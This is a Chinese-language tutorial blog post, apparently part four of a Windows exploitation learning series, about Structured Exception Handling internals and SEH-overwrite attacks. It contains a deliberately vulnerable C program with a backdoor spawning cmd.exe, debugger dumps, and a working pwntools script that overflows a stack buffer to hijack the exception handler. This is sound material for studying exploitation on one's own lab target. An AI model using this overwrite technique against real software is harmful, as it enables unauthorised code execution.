win pwn初探(四)
2023-2-22 08:58:0 Author: xz.aliyun.com(查看原文) 阅读量:28 收藏

这篇开始学习SEH

之前的文章链接:

什么是SEH

结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术,用于处理异常事件的程序控制结构

通俗易懂的来说就是__try,__except,__finally这些东西

SEH里面长什么样子

这个也困惑了我很长时间,网上的文献大部分都是直接讲的里面的结构体,不知道在程序里如果表现,如何通过调试去看这个SEH

用下面的程序来调试,记得关掉SAFESEH

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

void backdoor() {
    system("cmd.exe");
}  
int main(int argc, char **argv)
{
  setbuf(stdin, 0);
    setbuf(stdout, 0);
    int x = 100;
    int y = 0;
    int z;
    char tmp[0x20];
    _try {
        printf("0x%p\n", backdoor);
        scanf("%s", tmp);
        z = x / y;
    }
    _except (1) {
        printf("seh");
    }
    return 0;
}

z = x / y;这里是除数是0引起的异常,所以正常运行之后还会输出seh

.text:004119B0
.text:004119B0                               ; __unwind { // __except_handler4
.text:004119B0 55                            push    ebp
.text:004119B1 8B EC                         mov     ebp, esp
.text:004119B3 6A FE                         push    0FFFFFFFEh
.text:004119B5 68 C8 91 41 00                push    offset stru_4191C8
.text:004119BA 68 80 1F 41 00                push    offset __except_handler4
.text:004119BF 64 A1 00 00 00 00             mov     eax, large fs:0
.text:004119C5 50                            push    eax
.text:004119C6 81 C4 E8 FE FF FF             add     esp, 0FFFFFEE8h
.text:004119CC 53                            push    ebx
.text:004119CD 56                            push    esi
.text:004119CE 57                            push    edi

通过ida打开发现push offset __except_handler4,这个是将处理结构异常函数的地址入栈

用windbg打开此程序进行调试,在程序头下个断点

test!main:
001419b0 55               push    ebp
001419b1 8bec             mov     ebp, esp
001419b3 6afe             push    0FFFFFFFEh
001419b5 68c8911400       push    1491C8h
001419ba 68801f1400       push    141F80h
001419bf 64a100000000     mov     eax, dword ptr fs:[00000000h]

然后dt去查看0x141F80这个定义

0:000> dt 0x141F80
_except_handler4
 _EXCEPTION_DISPOSITION  test!_except_handler4+0(
    _EXCEPTION_RECORD*, 
    _EXCEPTION_REGISTRATION_RECORD*, 
    _CONTEXT*, 
    void*)

可以看到会接收4个参数输入,并且该异常处理函数由系统调用,是一个回调函数,看第一个参数

0:000> dt _EXCEPTION_RECORD
test!_EXCEPTION_RECORD
   +0x000 ExceptionCode    : Uint4B
   +0x004 ExceptionFlags   : Uint4B
   +0x008 ExceptionRecord  : Ptr32 _EXCEPTION_RECORD
   +0x00c ExceptionAddress : Ptr32 Void
   +0x010 NumberParameters : Uint4B
   +0x014 ExceptionInformation : [15] Uint4B

重要的就两个ExceptionCode指出异常类型、ExceptionFlags表示发生异常的代码地址,接着看第二个参数

0:000> dt _EXCEPTION_REGISTRATION_RECORD
test!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION

该结构体主要用于描述线程异常处理句柄的地址,Next指向下一个结构的指针,Handler当前异常处理回调函数的地址,看一下非常经典的图

TIB第一个字段就保存了SEH链表的头部指针,SEH链表中其他的节点存储在栈中,如果Next的成员的值为0xFFFFFFFF则表示在最后一个结点,当发生异常会按照顺序依次传递,直到有异常处理器处理

接着看一下第三个参数_CONTEXT

0:000> dt _CONTEXT
test!_CONTEXT
   +0x000 ContextFlags     : Uint4B
   +0x004 Dr0              : Uint4B
   +0x008 Dr1              : Uint4B
   +0x00c Dr2              : Uint4B
   +0x010 Dr3              : Uint4B
   +0x014 Dr6              : Uint4B
   +0x018 Dr7              : Uint4B
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : Uint4B
   +0x090 SegFs            : Uint4B
   +0x094 SegEs            : Uint4B
   +0x098 SegDs            : Uint4B
   +0x09c Edi              : Uint4B
   +0x0a0 Esi              : Uint4B
   +0x0a4 Ebx              : Uint4B
   +0x0a8 Edx              : Uint4B
   +0x0ac Ecx              : Uint4B
   +0x0b0 Eax              : Uint4B
   +0x0b4 Ebp              : Uint4B
   +0x0b8 Eip              : Uint4B
   +0x0bc SegCs            : Uint4B
   +0x0c0 EFlags           : Uint4B
   +0x0c4 Esp              : Uint4B
   +0x0c8 SegSs            : Uint4B
   +0x0cc ExtendedRegisters : [512] UChar

这个结构体是用来备份CPU奇存器的值,因为多线程环境下需要这样做。每个线程内部都拥有1个CONTEXT结构体。CPU暂时离开当前线程去运行其他线程时,CPU寄存器的值就会保存到当前线程的CONTEXT结构体;CPU再次运行该线程时,会使用保存在CONTEXT结构体的值来覆盖CPU奇存器的值,然后从之前暂停的代码处继续执行。通过这种方式 ,OS可以在多线程环境下安全运行各线程

在经典图那里有没有发现发生异常之后有一个TIB,那么TIB又是什么呢

TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构,它存在于x86的机器上,它也被称为是Win32TEB(Thread Environment Block,线程环境块)。TIB/TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB

0:000> dt _NT_TIB
test!_NT_TIB
   +0x000 ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 StackBase        : Ptr32 Void
   +0x008 StackLimit       : Ptr32 Void
   +0x00c SubSystemTib     : Ptr32 Void
   +0x010 FiberData        : Ptr32 Void
   +0x010 Version          : Uint4B
   +0x014 ArbitraryUserPointer : Ptr32 Void
   +0x018 Self             : Ptr32 _NT_TIB

第一个就是指向当前线程的SEH,StackBase和StackLimit分别指向当前线程所使用的栈的栈底和栈顶,SubSystemTib是子系统,Self指向自己

如何通过SEH来控制程序

现在知识了SEH长什么样子了,但是如何通过SEH来攻击程序呢

可以通过攻击程序的异常处理,想办法触发一个异常,程序就会转入异常处理,如果异常处理函数指针被我们覆盖,那么我们就可以通过劫持 SEH 来控制程序的后续流程

也就是去覆盖上面的_except_handler4,如果把_except_handler4给覆盖成backdoor,在异常处理的时候就会去执行backdoor,现在还有一个问题那就是_except_handler4在栈上的哪个地方

0:000> dc 0x010ffc64 - 0x64
010ffc00  77b45f8b 77cfac49 010ffc10 00000000  ._.wI..w........
010ffc10  00000000 010ffc2c 51802922 1b406328  ....,...").Q([email protected]
010ffc20  010ffc30 5179bff5 00000000 010ffc3c  0.....yQ....<...
010ffc30  010ffc40 517bffc6 00000000 00000000  @.....{Q........
010ffc40  010ffc4c 517c02be 518e3074 010ffc60  L.....|Qt0.Q`...
010ffc50  517ffbd2 010ffcd0 00141f80 001491c8  ...Q............
010ffc60  fffffffe 010ffc84 00142403 00000001  .........$......
010ffc70  012c4d88 012c9510 00000001 012c4d88  .M,...,......M,.

还是上面那个程序0x010ffc64是ebp,0x141F80_except_handler4,可以看到在ebp - 0xc的地方是_except_handler4,刚好这个程序里有一个栈溢出,所以我们可以控制handler,程序开了GS保护但是没有用,因为先跑去处理异常了

所以现在写exp来验证一下

from pwn import *
from time import sleep

context.log_level = 'debug'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

r = remote('192.168.10.106', 1234)

r.recvuntil('0x')
backdoor_addr = int(r.recv(8), 16)
li('backdoor_addr = ' + hex(backdoor_addr))

p1 = b'a' * (0x64 - 0xc) + p32(backdoor_addr)
r.sendline(p1)

r.interactive()

弹了一个内存损坏的错误,点重试才可以利用成功,所以思考了一下内存损坏的错误也是在异常里,验证一下,把除0数学错误给去掉

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>

void backdoor() {
    system("cmd.exe");
}  
int main(int argc, char **argv)
{
  setbuf(stdin, 0);
    setbuf(stdout, 0);
    int x = 100;
    int y = 0;
    int z;
    char tmp[0x20];
    _try {
        printf("0x%p\n", backdoor);
        scanf("%s", tmp);
    }
    _except (1) {
        printf("seh");
    }
    return 0;
}

最后依旧成功利用,所以以后控制SEH之后可以直接引发一些异常即可

这里主要学习了SEH,如何去控制SEH来达到劫持程序流的目的,攻击SEH是当年最流行的手法,所以window也发布了对应的加固手法,SAFESEH和SEHOP,后面将会学习SEHOP和SAFESEH的利用

逆向工程核心原理

https://blog.csdn.net/azraelxuemo/article/details/122873073

https://codeantenna.com/a/wBulZH0YEb

https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/


文章来源: https://xz.aliyun.com/t/12201
如有侵权请联系:admin#unsafe.sh